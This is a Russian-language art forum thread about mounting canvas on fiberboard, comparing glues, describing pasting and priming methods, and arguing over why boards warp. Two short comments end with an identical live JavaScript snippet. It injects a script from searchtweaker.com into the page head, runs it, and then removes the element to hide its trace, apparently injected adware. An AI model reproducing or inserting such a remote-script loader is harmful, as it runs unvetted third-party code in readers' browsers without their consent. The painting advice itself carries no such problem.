ДВП и холст на ДВП: наклейка, деформация, сохранность и все вопросы.

Борисыч, а он и щас есть, этот 88, продаецца в хозмагах, обычно в товарах для сапожников :))

...а может быть, что он мороженный из-за неправильного хранения или перевозки

Повторюсь: я клею ткань на гладкую сторону ДВП (я вообще использую только ДВП с двумя гладкими сторонами) и деформация ЕСТЬ. Причина не в гладкой/рыхлой стороне.

Воды в составе не было, потому и не коробило: «
Клей 88 Н, 88 НП, 88 СА. ТУ 38.105.540-85. Промышленные клеи группы 88 представляет собой раствор резиновой смеси 31 на основе неопрена и фенолформальдегидной смолы в смеси этилацетата и бензина (нефраса)
...» К слову говоря, если пользоваться Моментом или нитроцеллюлозным клеем, то коробить тоже не будет. Если, конечно, саму ДВП не поведёт от перемены влажности.
...

Дык, проверили уже:

А вот какие ваши доказательства, что на самом деле всё совсем не так?
...

Так я и не бобёр.
...

Что-то мне подсказывает, что от обилия резиновых компонентов в клее, холст будет то ещё амбре источать. :))

А кто пробовал покупные холсты на двп. Как у них обстоят дела с деформацией?

У покупных в основном очень тонкие холсты, иногда почти как марля. С другой стороны, они уже наклеены (мне, кстати, тоже интересно, как именно) и прогрунтованы. Небольшая деформация, как говорят, заметна после высыхания красочного слоя - через год и более. А так - думаю, что также подвержены воздействию всё тех же природных факторов (влажность, температура).
И размеров больше 60х80 я не встречал среди покупных.

Если позволите, ещё несколько соображений.
По поводу вонючих/кислых клеев, гладкой стороны, положения для сушки и т.д. Нюансов в случае склейки материалов, как говорится, "over 9000" и художник вряд ли сможет предусмотреть или испробовать все. Аргументы типа "а вот у меня" - это, ну согласитесь, уже не есть система/технология, а только частные способы. Тем более - без точного указания толщин ткани и ДВП, размеров куска, параметров клея и всех условий наклеивания и сушки.
Хорошая, правильная "народная" технология должна быть некритичной к типичным колебаниям пропорций "веществ и препаратов" в принципе. А также система не должна рушиться при изменений каких-то параметров, типа: толщина/плотность холста, толщина/плотность ДВП, размеры ДВП, состав клея, влажность воздуха, температура и т.д. - она должна их либо предусматривать во всех нюансах и реагировать на них, либо работать на уровнях, где эти параметры можно просто игнорировать или они будут не столь критичны. Лучше - второе, как более "абстрактная" и универсальная метода. Пусть даже ценой некоторого (незначительного) удорожания.
Есть люди, которые могут легко плавать среди нюансов, и изощряться до бесконечности (и это тоже неплохо) - по нужде и без (не сработала одна схема - не беда, найдём другую, можно же ещё и "вот так"). Есть люди, которые не против иногда поизощряться - когда приспичит. Есть люди, которые вообще не любят экспериментов и предпочитают придерживаться самых проверенных и стабильных решений. Им просто хочется рисовать, и их больше всего.
Поэтому, имхо, решения желательно искать такие, чтобы их мог повторить любой художник без головной боли - независимо от удалённости от спец.магазинов и спец.оборудования и спец.клиник в том числе. И которому, например, всего-навсего нужно нарисовать нестандартное панно с пропорциями 10:1 или заменить холст на какую-то там сверхплотную материю. Если "технология" наклеивания холста на ДВП превращается в какую-то многоступенчатую и очень разветвлённую последовательность - это уже сложно для многих рядовых художника. Ещё хуже - если она при этом не гарантирует железный результат.
Допустим, приходит Некий Художник на форум и спрашивает, как приклеить холст на ДВП. Некто (так и назовём его Некто) отвечает:
- Нужно клеить на вонючий клей и гладкую сторону.
- Спасибо. (Некий Художник уходит)
***
- Я наклеил вонючим клеем на гладкую сторону. Хотя у меня была ДВП с двумя сторонами, но я специально нашёл с одной. ЭТО НЕ РАБОТАЕТ!!! ИЗГИБ ЕСТЬ!! ЧТО ДЕЛАТЬ!!!???
- Хм... А вы сушили горизонтально?
- Нет.
- Вот видите. А нужно горизонтально, да-да.
- Спасибо.
***
- Я наклеил вонючим клеем на гладкую сторону, сушил горизонтально, ИЗГИБ ЕСТЬ, ЧТО ДЕЛАТЬ???
- Хм. А раскатывали бутылкой?
- Хм...Нет. А надо?
- Только так и надо.
- Спасибо.
***
- Я наклеил вонючим клеем на гладкую сторону, сушил горизонтально, раскатывал бутылкой, НО ВСЁ РАВНО ИЗГИБ ЕСТЬ!!! НУ ЧТО ДЕЛАТЬ???
- Хм... А рядом случайно не был включен кипящий чайник?
- Эмм. ну вообще - да, был...
- Вот видите. Нельзя чайник.
- Спасибо! (Некий Художник уходит)
***
На каком-то этапе эта последовательность вполне может дойти до примерно такой фазы:
- Я выключил чайник, выпил в полнолуние 50 граммов смеси крови зелёного волнистого попугайчика с содой, затем наклеил вонючим клеем холст на гладкую сторону ДВП, сушил горизонтально, подставив палочку диаметром 12.5 мм под левый нижний угол, а под правый верхний угол - берцовую кость девственницы, раскатывал бутылкой, присыпал пеплом таракана, стоял при этом на одной ноге, по окончании трижды повернулся вокруг себя и сплюнул. ИЗГИБ ЕСТЬ!!! ЧТО ЖЕ МНЕ ДЕЛАТЬ???
- А вы пели при этом фиолетовую мантру?
- А что и это надо?!
- Ну конечно... Ёмаё.. А вы разве не знали?
- Эмм.. Нет... Спасибо.
****
Некто:
- Эй, ну где вы там? Получилось что с холстом на ДВП?
Некий художник:
- Ну его нахрен! Рисую на подрамнике...
***
(Если что - не подразумевалось ничего личного.)
В общем, технология не должна становиться шаманством.

Вобщем , лирику побоку . Говорю как это делается : На ДВП четверку с гладкой стороны намазывается густой клей ПВА . Через каждые 10-12 квадратных дециметров клей разглаживается губкой . (это обязательно )После, ДВП ложится клеевой стороной на растянутый на обкусанных гвоздиках холст . Это кусок фанеры с набитыми и обкусанными гвоздиками . Холст на них не натянут , а просто растянут . Если есть на холсте помятые места , то он сбрызгивается водой слегка и ждем , когда все выровняется .Так как на ДВП ничего натягивать нельзя .Нель-зя ! После того как ДВП клеевой стороной легло на холст , холст обрезаем с запасом примерно 5 см и все переворачиваем . Прокатываем холст бутылкой или глянцевателем или , есть такие валики для покраски меховые . Холст лег на свое место и его нет необходимости смыкать по поверхности ДВП . Понятно , что это вредно (и клей стирается и холст натягивается , а натягиваться он не должен ни в коем случае )Опять переворачиваем . С задней стороны на ДВП с края лепим скотч 4 см от края . Промазываем край ДВП и полоску холста клеем . Заворачиваем . По линейке обрезаем лишнее . Полоску холста и скотч удаляем . Все чисто , ровно , никакой грязи .Не дожидаясь высыхания грунтуем холст ПВА с акриловой водоэмульсионкой (1/5 - 1/6 ) . Ложим горизонтально, сушим . Грунтуем еще раз . Оставляем горизонтально до полного высыхания .Все ровно . Все нужно делать в темпе , пока клей сырой , предельно быстро , не ловить ворон . Все должно быть заготовлено заранее . Я не знаю , что в этой инструкции является самым важным . Мне это не интересно . Главное , что меня устраивает результат . После того , как картина готова есть небольшой изгиб .Можно дать холсту с ДВП отлежаться , а можно подложить под середину что нибудь и края придавить баночками с водой на ночь .Если в промежутках между работой ложить холст горизонтально , то изгиб не появляется . Но я забываю .
[URL=http://fastpic.ru/][/URL]

:))))))))))...........СУПЕР !!!:))

Олег Спасибо что развили такую тему. Я пробовал на двп клеить его повело. Раздвижной подрамник делать тоже сложно. Теперь на жёсткий подрамник приклеиваю двп или фанеру, и на такой планшет натягиваю ткань. Прибиваю степлером. Ничего не ведёт , не дребежит когда формат большой и при работе рукой опереться можно. Когда ткань пористая , то подкладываю полиэтилен, между холстом и планшетом. Ещё пара дсп есть их также использую , но они потяжелей будут, не очень удобно.
Ткань не проклеиваю сразу грунтую. Пробовал клеить желатином , но он с акриловым грунтом смешивается , и после если грунт помыть понадобиться , то он разбухать может от этого и смывается. Про пва не знал и никогда не использовал. Им тока планшеты склеиваю Или желатином , когда пва однажды закончился. Кстати желатин крепче держит .
Наш акриловый грунт не понравился - масло сильно тянет и краски жухнут. Пробовал акриловую краску для потолков , так та ещё хуже совсем пористая. Импортный грунт не использовал , про него ничего не скажу.Использую акрил интерьерный полуматовый. Масло не тянет и краску после высыхания не соскребёш. Рисую сразу лисеровками в много слоёв , маслом не развожу - боюсь что желтеть будут.
И на конец если получилось , то снимаю и иду к столеру . Он и подрамник и рамку сделает красиво и добротно, я уже так не смогу. А не получилось снимаю и снова натягиваю. Таким образом за вечер пару основ можно подготовить
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Чёткая инструкция Спасибо за инфу
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Почему именно 10-12 и почему именно дециметров? И почему губкой, а не, например, флейцем?
И какой тогда у вас размер ДВП (в тех же дециметрах)? Что, если у меня размер больше/меньше?

Обоснуйте, почему холст ни в коем случае не должен натягиваться на ДВП и почему он не натянется (в какой-то степени) случайно при раскатывании бутылкой? Или при высыхании и усадке тканевого слоя? Или перемене влажности? И какая тогда разница, если он у вас был натянут до этого на фанерке? Вообще - какая физика процесса? И смысл манипуляций с фанеркой? Тут бы поподробнее.

Как-то тоже не понял, где тут ключевые моменты. Разве что "всё нужно делать быстро".

Ну вот. Так и знал, что без берцовой кости девственницы - никуда. ;-)
***
Если серьёзно. Всё равно на фото не видно кромку листа и ровность на её протяжении. Мне ни о чём почти не говорит фотография с двух метров. И это окончательно просушенный вариант?

Вариант просушенный окончательно .Лежит , где положил , уже неделю . С остальным разбирайтесь сами , если надо .Включите логику . Всё тривиально . Для меня этот вопрос выеденного яйца не стоит . Я обьяснять больше ничего не стану .

Доброе утро, Александр. :-)

Ну что же, думаю, что учение Ливаднова обязательно найдёт своих адептов. А вообще - зря вы зажимаете информацию, Александр. Я уж было заинтересовался идеей обхитрить физику с помощью кислого клея, гладкой поверхности, губки, бутылки и растянутого холста.
Поскольку объяснения не ожидаются, включу логику и попробую объяснить. Если перейти на первую страницу этого топика, то можно обнаружить рецепт, приведённый Алексеем Дефогом из журнала "Полный курс рисунка и живописи":

В общем-то рецепт канонический и общеизвестный. И я его тоже пробовал:

У Ливаднова добавляются такие ключевые нюансы, как
- холст растягивается на гвоздиках на фанерке
- клей наносится на ДВП, а не на лицевую сквозь холст
- клей разглаживается губкой через каждые 10-12 кв.дм
- холст разглаживается бутылкой
- грунтовка смесью кислого ПВА с акриловой водоэмульсионкой (1/5 - 1/6 )
- сушка в строго горизонтальном положении
- делается всё быстро-быстро
После чего деформация исчезает, но:

Что, впрочем, не имеет значения, так как:

То есть, в принципе, то, что до готовности картины - это деформация, а то что после готовности картины - изгиб.
В любом случае, я как бы снимаю шляпу.

Всё повырвано из контекста .То , что изгиба не появляется , если картину, в перерывах между работой ,ложить горизонтально , старательно проигнорировано .(иначе ведь не подтянешь .... к бороде ) К тому же разговор велся о наклейке холста на ДВП и его состояние после этого . Да , у меня ничего не происходит , всё ровно . Пригласите еще Никея. У него злобищи не меряно .Вдвоем вам лучше . А то у вас хамства нет и необходимой злобности. Интеллигентный вы слишком , чтобы жрать на сайте человека со своим мнением . Я человек самодостаточный , мне все равно эти нападки по барабану .Поулыбаюсь да и всё . Для меня это несущественный вопрос. .

Задумайтесь, почему вообще возник вопрос борьбы с деформацией? Просто подобные заморочки никому не нужны.
И вы вроде как уже не ребёнок, чтобы не понимать, что речь идёт об изгибе листа в целом - неважно до или после готовности картины. Отделять фазу деформации "до рисования" и "после рисования" - какой в этом смысл? Она (деформация) просто есть и всё - неважно на какой стадии. Тем более, что я сильно сомневаюсь, что ваша метода универсальна даже случая подготовки основы. Я озвучу более чётко: деформация всё равно будет - в каких-то условиях - независимо от бутылок, губок и прочих танцев с бубном. Физика, сэр.

Верно. Я как бы всех люблю. И вас тоже, Александр. Тем более, что вы периодически доставляете.

Так и я поулыбаюсь, да и всё. Ибо что тут ещё сделаешь.

Ну, чисто детектив - будет деформация или нет ей места в природе? :)) Счёт пока в пользу Морозова. Что-то ответит тов. Ливаднов?

Да вот, я, кстати, уже чувствую себя втянутым в какую-то авантюру. :-) То есть - довольно глупо.
По большому счёту - мне всё равно, работает ли рецепт Ливаднова или нет. Даже так: если работает - хорошо. Значит, человек нашёл баланс вещей в своём частном случае.
Мне просто непонятно, как можно утверждать что деформации не существует на этапе наклейки ткани на ДВП - зная о наличии таковой на последующих этапах? Природа-то одна, ребята, что вы в самом-то деле? Это то, что я писал о разности структур материалов. Уберите холст - и последующей деформации - конкретно деформации изгиба - уже не будет. Если конечно, вы не навалите кучу краски-пасты на одну сторону - до очевидного изменения плотности структуры одной из поверхностей. Тогда опять повёдет. А если сразу не повёдет - дождитесь дождя.
Что холст, что краска с одной стороны - это факторы, влияющие на конечную структуру листа. Вопрос очевидного проявления этих факторов (т.е. изгиба) - собственно, только в количестве и качестве приложенного материала и воздействия окружающей среды. Смените плотность холста, скажем, с 250 г/м.кв до 450 г/м.кв (и более) - получите изгиб. Или измените размеры листа. Или подождите дождик.

Например, был ещё такой момент: здесь я рассказывал о первой попытке клеить ткань без пресса с хорошим результатом. Т.е.:

И результат действительно неплохой (или почти идеальный) для одностороннего приклеивания очень грубой и тянущей ткани. Сфотографировано на 3 сутки после высыхания. Я, помню, обрадовался - типа нашёл решение вопроса. Отложил заготовку где-то на 3-4 недели - просто не было времени возиться, а когда достал для грунтовки - заготовка опять же деформировалась на 2-3 мм. О чём я и написал в том же топике. А дальше и больше повело.
То есть: ровным лист "ткань + ДВП" может оставаться, но некоторое время.

Все со временем "ведет", даже рельсы. Из иконописной практики знаю, если иконная доска заашена и прокрашена и с тыльной стороны, коробления практически не происходит.Так что, не забывайте обрабатывать и тыльную сторону, картина проживет дольше.

Есть такой нужный композитный листовой материал - фольгированный гетинакс. Или альтернатива - текстолит.
Используется при производстве печатных плат - ну, наверное, все видели начинку домашних электронных девайсов.
Там тоже есть гетинаксовая основа (довольно прочная, кстати) толщиной обычно от 0.5 до 2-3 мм. На основу наклеен (или нанесён другим химическим способом) слой меди или схожего проводника толщиной 35-50 мкм. Это ОЧЕНЬ тонкий слой. Медь - стабильный материал, почти не меняет своих свойств со временем. А вот гетинакс - наполовину органика. Фактически - та же спрессованная бумага, пропитанная смолами вроде эпоксидки и опять же формальдегида. Так вот, совершенно ровные листы это материала лет через 15 частенько понемногу сворачиваются. Это если односторонние. Двусторонние переносят нормально.
Нужно отметить, что готовые вытравленные платы никогда не изгибаются по этой причине. Потому что там уже несплошная медная прослойка.